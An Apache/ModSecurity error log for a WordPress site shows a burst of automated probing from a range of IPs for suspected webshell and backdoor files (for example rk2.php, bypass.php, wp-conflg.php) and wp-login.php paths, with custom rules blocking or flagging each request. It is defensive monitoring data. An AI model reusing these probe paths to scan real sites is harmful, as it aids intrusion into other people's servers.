[Sun Mar 15 10:43:58.142476 2026] [:error] [pid 42570:tid 42586] [client 212.30.33.103:38231] [client 212.30.33.103] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "abYc7sIUXZJLmk_gYCOZkQAAAY0"]
[Sun Mar 15 10:44:00.567400 2026] [:error] [pid 38540:tid 38593] [client 212.30.33.87:30069] [client 212.30.33.87] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/media/index.php"] [unique_id "abYc8F8bnHsJ1dE90bIfpQAAAEc"]
[Sun Mar 15 10:44:03.053334 2026] [:error] [pid 42570:tid 42591] [client 212.30.33.65:46757] [client 212.30.33.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/item.php"] [unique_id "abYc88IUXZJLmk_gYCOZ5AAAAZI"]
[Sun Mar 15 10:44:03.916818 2026] [proxy_fcgi:error] [pid 38540:tid 38590] [client 212.30.33.69:49139] AH01071: Got error 'Primary script unknown'
[Sun Mar 15 10:44:07.214316 2026] [:error] [pid 38540:tid 38595] [client 212.30.33.69:49139] [client 212.30.33.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rk2.php"] [unique_id "abYc918bnHsJ1dE90bIf5QAAAEk"]
[Sun Mar 15 10:44:08.034093 2026] [:error] [pid 9995:tid 10009] [client 212.30.33.103:30169] [client 212.30.33.103] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ln/wp-login.php"] [unique_id "abYc-Aa8xkcaSmgTbwgxwAAAAQs"]
[Sun Mar 15 10:44:09.261250 2026] [:error] [pid 38540:tid 38606] [client 212.30.33.92:50283] [client 212.30.33.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "abYc-V8bnHsJ1dE90bIf-QAAAFQ"]
[Sun Mar 15 10:44:10.064371 2026] [:error] [pid 42570:tid 42582] [client 212.30.33.164:35793] [client 212.30.33.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-class.php"] [unique_id "abYc-sIUXZJLmk_gYCOaNgAAAYk"]
[Sun Mar 15 10:44:11.323779 2026] [:error] [pid 38541:tid 38617] [client 212.30.33.69:57083] [client 212.30.33.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 212.30.33.69, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/js/wp-login.php"] [unique_id "abYc-3uOpex8jIO0jt42HQAAAIQ"]
[Sun Mar 15 10:44:11.752285 2026] [proxy_fcgi:error] [pid 38541:tid 38632] [client 212.30.33.69:57083] AH01071: Got error 'Primary script unknown'
[Sun Mar 15 10:44:14.317271 2026] [:error] [pid 38541:tid 38617] [client 212.30.33.69:57083] [client 212.30.33.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "abYc_nuOpex8jIO0jt42UAAAAIQ"]
[Sun Mar 15 10:44:15.990272 2026] [:error] [pid 38541:tid 38631] [client 212.30.33.99:64149] [client 212.30.33.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/include.php"] [unique_id "abYc_3uOpex8jIO0jt42dgAAAJI"]
[Sun Mar 15 10:44:17.638117 2026] [:error] [pid 50986:tid 50992] [client 212.30.33.54:32095] [client 212.30.33.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/husky.php"] [unique_id "abYdASknK4c779bcQqHnmgAAAUQ"]
[Sun Mar 15 10:44:18.442459 2026] [:error] [pid 38645:tid 38656] [client 212.30.33.70:50867] [client 212.30.33.70] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/index.php"] [unique_id "abYdAhFPHtsDUuVrWDavAQAAAMk"]
[Sun Mar 15 10:44:19.259347 2026] [:error] [pid 50986:tid 50999] [client 212.30.33.70:59289] [client 212.30.33.70] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "abYdAyknK4c779bcQqHnxwAAAUo"]
[Sun Mar 15 10:44:20.090478 2026] [proxy_fcgi:error] [pid 42570:tid 42581] [client 212.30.33.79:54975] AH01071: Got error 'Primary script unknown'
[Sun Mar 15 10:44:21.775937 2026] [:error] [pid 42570:tid 42597] [client 212.30.33.79:54975] [client 212.30.33.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/imgareaselect/wp-login.php"] [unique_id "abYdBcIUXZJLmk_gYCOaxQAAAZg"]
[Sun Mar 15 10:44:22.584886 2026] [:error] [pid 38540:tid 38600] [client 212.30.33.51:21455] [client 212.30.33.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/click.php"] [unique_id "abYdBl8bnHsJ1dE90bIgTAAAAE4"]
[Sun Mar 15 10:44:24.268364 2026] [:error] [pid 42570:tid 42574] [client 212.30.33.166:52359] [client 212.30.33.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/install.php"] [unique_id "abYdCMIUXZJLmk_gYCOa6gAAAYE"]
[Sun Mar 15 10:44:25.887014 2026] [:error] [pid 9995:tid 10012] [client 212.30.33.62:48883] [client 212.30.33.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/admin.php"] [unique_id "abYdCQa8xkcaSmgTbwgyPgAAAQ4"]
[Sun Mar 15 10:44:27.099427 2026] [:error] [pid 38540:tid 38599] [client 212.30.33.98:23441] [client 212.30.33.98] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-bindings/admin.php"] [unique_id "abYdC18bnHsJ1dE90bIgawAAAE0"]
[Sun Mar 15 10:44:28.349367 2026] [:error] [pid 38645:tid 38650] [client 212.30.33.54:42439] [client 212.30.33.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/autoload_classmap.php"] [unique_id "abYdDBFPHtsDUuVrWDavTAAAAMM"]
[Sun Mar 15 10:44:29.563384 2026] [:error] [pid 50986:tid 50992] [client 212.30.33.99:27687] [client 212.30.33.99] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 212.30.33.99, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "abYdDSknK4c779bcQqHomQAAAUQ"]
[Sun Mar 15 10:44:29.972147 2026] [:error] [pid 50986:tid 51005] [client 212.30.33.99:27687] [client 212.30.33.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/index.php"] [unique_id "abYdDSknK4c779bcQqHoogAAAVA"]
[Sun Mar 15 10:44:31.668110 2026] [:error] [pid 38645:tid 38663] [client 212.30.33.88:59795] [client 212.30.33.88] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/about.php"] [unique_id "abYdDxFPHtsDUuVrWDavfwAAANA"]
[Sun Mar 15 10:44:33.273867 2026] [:error] [pid 50986:tid 51001] [client 212.30.33.72:52669] [client 212.30.33.72] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 212.30.33.72, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/bltm/wp-login.php"] [unique_id "abYdESknK4c779bcQqHpBgAAAUw"]
[Sun Mar 15 10:44:34.491122 2026] [:error] [pid 50986:tid 51004] [client 212.30.33.72:52669] [client 212.30.33.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "abYdEiknK4c779bcQqHpHQAAAU8"]
[Sun Mar 15 10:44:35.290762 2026] [:error] [pid 38645:tid 38654] [client 212.30.33.75:53255] [client 212.30.33.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/admin.php"] [unique_id "abYdExFPHtsDUuVrWDavpQAAAMc"]
[Sun Mar 15 10:44:36.100083 2026] [:error] [pid 50986:tid 50997] [client 212.30.33.84:36295] [client 212.30.33.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "abYdFCknK4c779bcQqHpLQAAAUg"]
[Sun Mar 15 10:44:36.901995 2026] [:error] [pid 38536:tid 38576] [client 212.30.33.67:25343] [client 212.30.33.67] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 212.30.33.67, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "abYdFPpTEqkVJ0rBEWvHqgAAABc"]
[Sun Mar 15 10:44:38.527287 2026] [proxy_fcgi:error] [pid 38536:tid 38565] [client 212.30.33.67:25343] AH01071: Got error 'Primary script unknown'
[Sun Mar 15 10:44:39.743584 2026] [:error] [pid 38536:tid 38569] [client 212.30.33.67:25343] [client 212.30.33.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "abYdF_pTEqkVJ0rBEWvHzwAAABA"]
[Sun Mar 15 10:44:40.570311 2026] [proxy_fcgi:error] [pid 38536:tid 38556] [client 212.30.33.229:59225] AH01071: Got error 'Primary script unknown'
[Sun Mar 15 10:44:42.239838 2026] [:error] [pid 38536:tid 38556] [client 212.30.33.229:59225] [client 212.30.33.229] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "abYdGvpTEqkVJ0rBEWvH8AAAAAM"]
[Sun Mar 15 10:44:43.842132 2026] [:error] [pid 9995:tid 10006] [client 212.30.33.96:51261] [client 212.30.33.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/index.php"] [unique_id "abYdGwa8xkcaSmgTbwgzGgAAAQg"]
[Sun Mar 15 10:44:45.076994 2026] [proxy_fcgi:error] [pid 38536:tid 38565] [client 212.30.33.93:34271] AH01071: Got error 'Primary script unknown'
[Sun Mar 15 10:44:45.503637 2026] [proxy_fcgi:error] [pid 38536:tid 38559] [client 212.30.33.93:34271] AH01071: Got error 'Primary script unknown'
[Sun Mar 15 10:44:45.906873 2026] [:error] [pid 38536:tid 38566] [client 212.30.33.93:34271] [client 212.30.33.93] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class.api.php"] [unique_id "abYdHfpTEqkVJ0rBEWvIKQAAAA0"]
[Sun Mar 15 10:44:46.714036 2026] [:error] [pid 38541:tid 38615] [client 212.30.33.89:59207] [client 212.30.33.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "abYdHnuOpex8jIO0jt43wQAAAII"]
[Sun Mar 15 10:44:47.522570 2026] [:error] [pid 38541:tid 38618] [client 212.30.33.63:39383] [client 212.30.33.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/edit-widgets/index.php"] [unique_id "abYdH3uOpex8jIO0jt43yQAAAIU"]
[Sun Mar 15 10:44:48.742999 2026] [:error] [pid 42570:tid 42595] [client 212.30.33.213:25283] [client 212.30.33.213] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "abYdIMIUXZJLmk_gYCObxQAAAZY"]
[Sun Mar 15 10:44:49.549338 2026] [:error] [pid 9995:tid 10020] [client 212.30.33.74:43137] [client 212.30.33.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/edit.php"] [unique_id "abYdIQa8xkcaSmgTbwgzOAAAARY"]
[Sun Mar 15 10:44:52.832558 2026] [:error] [pid 38536:tid 38572] [client 212.30.33.78:21215] [client 212.30.33.78] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 212.30.33.78, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "abYdJPpTEqkVJ0rBEWvIhQAAABM"]
[Sun Mar 15 10:44:53.685359 2026] [:error] [pid 38536:tid 38569] [client 212.30.33.78:21215] [client 212.30.33.78] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 212.30.33.78, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/wp-login.php"] [unique_id "abYdJfpTEqkVJ0rBEWvIjwAAABA"]
[Sun Mar 15 10:44:54.099149 2026] [:error] [pid 38536:tid 38563] [client 212.30.33.78:21215] [client 212.30.33.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "abYdJvpTEqkVJ0rBEWvIkQAAAAo"]
[Sun Mar 15 10:44:54.909286 2026] [proxy_fcgi:error] [pid 9995:tid 10020] [client 212.30.33.69:44389] AH01071: Got error 'Primary script unknown'
[Sun Mar 15 10:44:55.311745 2026] [:error] [pid 9995:tid 10016] [client 212.30.33.69:44389] [client 212.30.33.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 212.30.33.69, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "abYdJwa8xkcaSmgTbwgzYQAAARI"]
[Sun Mar 15 10:44:55.343169 2026] [proxy_fcgi:error] [pid 9995:tid 10016] [client 212.30.33.69:44389] AH01071: Got error 'Primary script unknown'
[Sun Mar 15 10:44:56.576310 2026] [proxy_fcgi:error] [pid 9995:tid 10009] [client 212.30.33.69:44389] AH01071: Got error 'Primary script unknown'
[Sun Mar 15 10:44:56.979957 2026] [:error] [pid 9995:tid 10003] [client 212.30.33.69:44389] [client 212.30.33.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/src/index.php"] [unique_id "abYdKAa8xkcaSmgTbwgzfgAAAQU"]
[Sun Mar 15 10:44:57.792341 2026] [:error] [pid 38536:tid 38570] [client 212.30.33.89:62529] [client 212.30.33.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID/wp-conflg.php"] [unique_id "abYdKfpTEqkVJ0rBEWvIrAAAABE"]
[Sun Mar 15 10:44:58.990255 2026] [:error] [pid 38536:tid 38575] [client 212.30.33.99:36049] [client 212.30.33.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID/wp-work.php"] [unique_id "abYdKvpTEqkVJ0rBEWvIwgAAABY"]
[Sun Mar 15 10:45:00.209245 2026] [:error] [pid 38541:tid 38635] [client 212.30.33.61:35357] [client 212.30.33.61] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 212.30.33.61, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/wp-login.php"] [unique_id "abYdLHuOpex8jIO0jt44fQAAAJY"]
[Sun Mar 15 10:45:01.459505 2026] [:error] [pid 38541:tid 38623] [client 212.30.33.61:35357] [client 212.30.33.61] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 212.30.33.61, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "abYdLXuOpex8jIO0jt44iAAAAIo"]
[Sun Mar 15 10:45:01.887697 2026] [proxy_fcgi:error] [pid 38541:tid 38616] [client 212.30.33.61:35357] AH01071: Got error 'Primary script unknown'
[Sun Mar 15 10:45:02.713741 2026] [:error] [pid 38541:tid 38618] [client 212.30.33.61:35357] [client 212.30.33.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/providers/index.php"] [unique_id "abYdLnuOpex8jIO0jt44lAAAAIU"]
[Sun Mar 15 10:45:03.520957 2026] [:error] [pid 38540:tid 38594] [client 212.30.33.62:39395] [client 212.30.33.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/about.php"] [unique_id "abYdL18bnHsJ1dE90bIh7AAAAEg"]
[Sun Mar 15 10:45:06.818800 2026] [:error] [pid 38541:tid 38624] [client 212.30.33.225:60769] [client 212.30.33.225] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "abYdMnuOpex8jIO0jt45GgAAAIs"]
[Sun Mar 15 10:45:07.627292 2026] [:error] [pid 50986:tid 51013] [client 212.30.33.91:38845] [client 212.30.33.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/bypass.php"] [unique_id "abYdMyknK4c779bcQqHqpAAAAVg"]
[Sun Mar 15 10:45:08.840138 2026] [:error] [pid 42570:tid 42575] [client 212.30.33.69:39069] [client 212.30.33.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/xl.php"] [unique_id "abYdNMIUXZJLmk_gYCOcVgAAAYI"]
